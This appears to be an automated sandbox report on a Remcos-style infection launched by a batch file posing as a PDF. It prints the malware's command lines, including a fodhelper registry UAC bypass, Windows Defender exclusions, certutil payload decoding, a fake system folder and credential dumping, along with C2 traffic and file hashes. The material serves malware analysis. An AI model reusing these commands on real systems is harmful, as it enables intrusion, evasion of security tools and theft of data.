Key created \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000_Classes\ms-settings\shell\open C:\Windows\system32\reg.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\\Users " C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000_Classes\ms-settings\shell\open\command C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000_Classes\ms-settings C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000_Classes\ms-settings\shell C:\Windows\system32\reg.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\system32\reg.exe N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\colorcpl.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\svchost.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2060 wrote to memory of 2220 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2060 wrote to memory of 2220 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2220 wrote to memory of 4500 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\extrac32.exe
PID 2220 wrote to memory of 4500 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\extrac32.exe
PID 2060 wrote to memory of 1764 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2060 wrote to memory of 1764 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1764 wrote to memory of 1760 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1764 wrote to memory of 1760 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2060 wrote to memory of 4940 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2060 wrote to memory of 4940 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4940 wrote to memory of 1524 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 4940 wrote to memory of 1524 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2060 wrote to memory of 3672 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2060 wrote to memory of 3672 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3672 wrote to memory of 3340 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 3672 wrote to memory of 3340 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 3340 wrote to memory of 4260 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 3340 wrote to memory of 4260 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 4260 wrote to memory of 1252 N/A C:\Users\Public\alpha.exe C:\Windows\system32\reg.exe
PID 4260 wrote to memory of 1252 N/A C:\Users\Public\alpha.exe C:\Windows\system32\reg.exe
PID 3340 wrote to memory of 3920 N/A C:\Users\Public\xkn.exe C:\Windows\system32\fodhelper.exe
PID 3340 wrote to memory of 3920 N/A C:\Users\Public\xkn.exe C:\Windows\system32\fodhelper.exe
PID 2060 wrote to memory of 2208 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2060 wrote to memory of 2208 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2208 wrote to memory of 5020 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2208 wrote to memory of 5020 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2060 wrote to memory of 2104 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2060 wrote to memory of 2104 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2104 wrote to memory of 3916 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2104 wrote to memory of 3916 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2060 wrote to memory of 4912 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 2060 wrote to memory of 4912 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 2060 wrote to memory of 4912 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 2060 wrote to memory of 4624 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2060 wrote to memory of 4624 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2060 wrote to memory of 3752 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2060 wrote to memory of 3752 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2060 wrote to memory of 4000 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2060 wrote to memory of 4000 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2060 wrote to memory of 1676 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2060 wrote to memory of 1676 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2060 wrote to memory of 4556 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2060 wrote to memory of 4556 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4556 wrote to memory of 2760 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 4556 wrote to memory of 2760 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 2060 wrote to memory of 4132 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2060 wrote to memory of 4132 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4132 wrote to memory of 1768 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 4132 wrote to memory of 1768 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 4912 wrote to memory of 2396 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 4912 wrote to memory of 2396 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 4912 wrote to memory of 2396 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 4912 wrote to memory of 2760 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 4912 wrote to memory of 2760 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 4912 wrote to memory of 2760 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 4912 wrote to memory of 2968 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 4912 wrote to memory of 2968 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 4912 wrote to memory of 2968 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 2968 wrote to memory of 4488 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows \System32\3100739.exe
PID 2968 wrote to memory of 4488 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows \System32\3100739.exe
PID 4488 wrote to memory of 556 N/A C:\Windows \System32\3100739.exe C:\Windows\system32\cmd.exe
PID 4488 wrote to memory of 556 N/A C:\Windows \System32\3100739.exe C:\Windows\system32\cmd.exe
PID 556 wrote to memory of 64 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 556 wrote to memory of 64 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat"

C:\Windows\system32\cmd.exe

cmd /c extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "

C:\Users\Public\xkn.exe

C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "

C:\Users\Public\alpha.exe

"C:\Users\Public\alpha.exe" /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "

C:\Windows\system32\reg.exe

reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "

C:\Windows\system32\fodhelper.exe

"C:\Windows\system32\fodhelper.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12

C:\Users\Public\Libraries\Lewxa.com

C:\\Users\\Public\\Libraries\\Lewxa.com

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa" / A / F / Q / S

C:\Windows\system32\SystemSettingsAdminFlows.exe

"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa.txt" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Windows\SysWOW64\cmd.exe

cmd /c mkdir "\\?\C:\Windows "

C:\Windows\SysWOW64\cmd.exe

cmd /c mkdir "\\?\C:\Windows \System32"

C:\Windows\SysWOW64\cmd.exe

cmd /c "C:\Windows \System32\3100739.exe"

C:\Windows \System32\3100739.exe

"C:\Windows \System32\3100739.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""

C:\Windows\system32\cmd.exe

cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"

C:\Windows\SysWOW64\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Lewxa.com C:\\Users\\Public\\Libraries\\Koomxsve.PIF

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\System32\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\eaetbcaxcxlimqkezczvenqrmp"

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\pvjecmlqqfdmxwgiinlxpalinwbro"

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\pvjecmlqqfdmxwgiinlxpalinwbro"

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\pvjecmlqqfdmxwgiinlxpalinwbro"

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\rpwwdfdsmnvzzlumaxyysfyrwktrhjzq"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3592 -ip 3592

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3592 -s 1516

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k UnistackSvcGroup

Network

Country Destination Domain Proto
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 73.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 cxcs.microsoft.net udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 1010.filemail.com udp
US 23.237.50.106:443 1010.filemail.com tcp
US 23.237.50.106:443 1010.filemail.com tcp
US 8.8.8.8:53 106.50.237.23.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 100.5.17.2.in-addr.arpa udp
US 8.8.8.8:53 119.110.54.20.in-addr.arpa udp
N/A 127.0.0.1:45671 tcp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp
N/A 127.0.0.1:55677 tcp
US 192.3.101.8:55677 tcp
US 8.8.8.8:53 188.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 8.101.3.192.in-addr.arpa udp
US 8.8.8.8:53 203.135.221.88.in-addr.arpa udp
US 192.3.101.8:55677 tcp
US 8.8.8.8:53 geoplugin.net udp
NL 178.237.33.50:80 geoplugin.net tcp
US 8.8.8.8:53 50.33.237.178.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 191.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 81.171.91.138.in-addr.arpa udp
US 8.8.8.8:53 67.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp

Files

C:\Users\Public\alpha.exe

MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

C:\Users\Public\xkn.exe

MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

memory/3340-27-0x00007FF853930000-0x00007FF8543F1000-memory.dmp

memory/3340-28-0x00000161A9850000-0x00000161A9860000-memory.dmp

memory/3340-22-0x00000161A9820000-0x00000161A9842000-memory.dmp

memory/3340-29-0x00000161A9850000-0x00000161A9860000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_efu0kejr.xic.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3340-34-0x00007FF853930000-0x00007FF8543F1000-memory.dmp

C:\Users\Public\kn.exe

MD5 bd8d9943a9b1def98eb83e0fa48796c2
SHA1 70e89852f023ab7cde0173eda1208dbb580f1e4f
SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
SHA512 95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

C:\Users\Public\alpha.exe

MD5 32fd102e1fa7be50a97bd75d45484176
SHA1 bbfbb1997c4e4c605fb9f17809ac81b23b635e3c
SHA256 ab0c5f236a0c2a8af48b70fb8acb4487ca9a0a51047d135277ba3d9047c831c8
SHA512 ff3e5addf94a2c18745ce57c0b641d40043d1f92d602d96b56f9bf21815a3c52c3663379377134354a42bc75982de437e58afef6ffc63629893a1a6be7f69dec

C:\Users\Public\Lewxa.txt

MD5 8f6b3132069a25963b93083743e160dd
SHA1 364112fc579f11dfa82a3c1078ec19706cd6dfda
SHA256 5184b2c7c5ffbaf8b8c9bac27545f09447b61d619a2f2bf472570b9ebec5747c
SHA512 af3051aeed9de9931f12d48cd22fef3273f9350a1cdd3c476fa02f7550288f7a96112f311d4dadcf61f0a67c93c22ce2999fb6253c8841b9d399e710b8518938

C:\Users\Public\Libraries\Lewxa.com

MD5 04aba5a372c8dac9affd6f1578b478b3
SHA1 1e0d764539cbf2e86e0d59b83f407b429f61fdb7
SHA256 b27a5e00f3339d8020da21dabc1c53e001bf5d4a809c47cee65f3e9383568411
SHA512 4d69053814b86bd13b59ca8b147a5331d0eace3ed2aaa936dc35086fdba8ef44d757bdc788eec61338f443578f98b8859f8dd7c7eeef486cab9ecb8eb5be15a3

memory/4912-49-0x0000000000840000-0x0000000000841000-memory.dmp

memory/4912-55-0x0000000003E20000-0x0000000004E20000-memory.dmp

memory/4912-56-0x0000000003E20000-0x0000000004E20000-memory.dmp

memory/4912-59-0x0000000000400000-0x0000000000527000-memory.dmp

memory/4912-61-0x0000000000840000-0x0000000000841000-memory.dmp

C:\Windows \System32\3100739.exe

MD5 231ce1e1d7d98b44371ffff407d68b59
SHA1 25510d0f6353dbf0c9f72fc880de7585e34b28ff
SHA256 30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96
SHA512 520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612

C:\Windows \System32\netutils.dll

MD5 fa7aa88417d0c48807144a1a48fe3fbc
SHA1 6f5ec990b12d4a6075050a94e0d68d03781fa46d
SHA256 2019dcd18ba7d5554a4a9da882740aa883941670af3de9396960081a0f8aa098
SHA512 99b2eb6f8e7d00a3803cba229149e5e0cb67a3deb607782c55fbacd25d9c074cce83759de15490eff939d5ad98f26cdbd44395cc79ffe22753e16c3d9e3b5fff

memory/4488-72-0x00000000613C0000-0x00000000613E3000-memory.dmp

C:\windows \system32\KDECO.bat

MD5 c545650595b479c81ad6b9d8882aae39
SHA1 7a98aa2e6eee23b3c1bba876955d525bc618b3f0
SHA256 a3a80983cb33159f0455fa0135789402558baa1460db94d0071318512b8cb5f9
SHA512 85ac596a7da9072a28c4178e4fdedc98f1b49c8e3fe5612cfe464833297b13f65d2dc59b52d7fc9970cff8f98d954111229aec0ed9dded454e03b0cf4ebb6ff3

memory/5104-83-0x00007FF851DE0000-0x00007FF8528A1000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 5caad758326454b5788ec35315c4c304
SHA1 3aef8dba8042662a7fcf97e51047dc636b4d4724
SHA256 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
SHA512 4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

memory/5104-85-0x000002BDD5950000-0x000002BDD5960000-memory.dmp

memory/5104-86-0x000002BDD5950000-0x000002BDD5960000-memory.dmp

memory/5104-89-0x00007FF851DE0000-0x00007FF8528A1000-memory.dmp

memory/3592-97-0x0000000000400000-0x0000000001400000-memory.dmp

memory/3592-99-0x0000000000400000-0x0000000001400000-memory.dmp

memory/3592-100-0x0000000000400000-0x0000000001400000-memory.dmp

memory/3592-101-0x0000000000400000-0x0000000001400000-memory.dmp

memory/3592-102-0x0000000000400000-0x0000000001400000-memory.dmp

memory/3592-104-0x0000000000400000-0x0000000001400000-memory.dmp

memory/3592-108-0x0000000000400000-0x0000000001400000-memory.dmp

memory/3592-109-0x0000000000400000-0x0000000001400000-memory.dmp

memory/3592-110-0x0000000000400000-0x0000000001400000-memory.dmp

memory/3592-111-0x0000000000400000-0x0000000001400000-memory.dmp

memory/3592-113-0x0000000000400000-0x0000000001400000-memory.dmp

memory/3592-115-0x0000000000400000-0x0000000001400000-memory.dmp

memory/3592-116-0x0000000000400000-0x0000000001400000-memory.dmp

C:\ProgramData\remcos\logs.dat

MD5 e2c593e5a7f9a095a6e8e26a260ae6a6
SHA1 ec6385139a8b2aeda1144e9d461bbeeafd338ba9
SHA256 dac63faf94e8b1fcf71a5dc63f203d19b0733fcd922793f72e766624ff3d379e
SHA512 7bd7798ff15ad0a5caaae54199f35d487de80fac6854b5f62b4d14077a84e35f41a9341cd5cce3404f3f64d2838f637104205af8dc4b89db24349bb4258690f8

memory/3024-119-0x0000000000400000-0x0000000000478000-memory.dmp

memory/4488-120-0x0000000000400000-0x0000000000462000-memory.dmp

memory/3024-123-0x0000000000400000-0x0000000000478000-memory.dmp

memory/3200-124-0x0000000000400000-0x0000000000424000-memory.dmp

memory/4488-126-0x0000000000400000-0x0000000000462000-memory.dmp

memory/3024-127-0x0000000000400000-0x0000000000478000-memory.dmp

memory/4488-133-0x0000000000400000-0x0000000000462000-memory.dmp

memory/4488-132-0x0000000000400000-0x0000000000462000-memory.dmp

memory/3200-134-0x0000000000400000-0x0000000000424000-memory.dmp

memory/3200-136-0x0000000000400000-0x0000000000424000-memory.dmp

memory/4488-135-0x0000000000400000-0x0000000000462000-memory.dmp

memory/3200-137-0x0000000000400000-0x0000000000424000-memory.dmp

memory/3024-139-0x0000000000400000-0x0000000000478000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\eaetbcaxcxlimqkezczvenqrmp

MD5 1e851ac5c5f7c5086508dddc69063a46
SHA1 ec67b2be1b676dc07b54f92b64cabaa8b5c53656
SHA256 0672c1350202839c50058ce7097f6eac6d3788bac87b932f64a6c5f75674eb04
SHA512 e532fb9a86e913de9272d2314bbbf8688e60932e5cb67b8d780a5904545df5ee3a2669b1875c687fe2aa7281198e00b74f6de0d8e3fd9bfac10b0b28b18f5019

memory/3592-141-0x000000001A1A0000-0x000000001A1B9000-memory.dmp

memory/3592-144-0x000000001A1A0000-0x000000001A1B9000-memory.dmp

memory/3592-145-0x0000000000400000-0x0000000001400000-memory.dmp

memory/1344-167-0x000001F595850000-0x000001F595860000-memory.dmp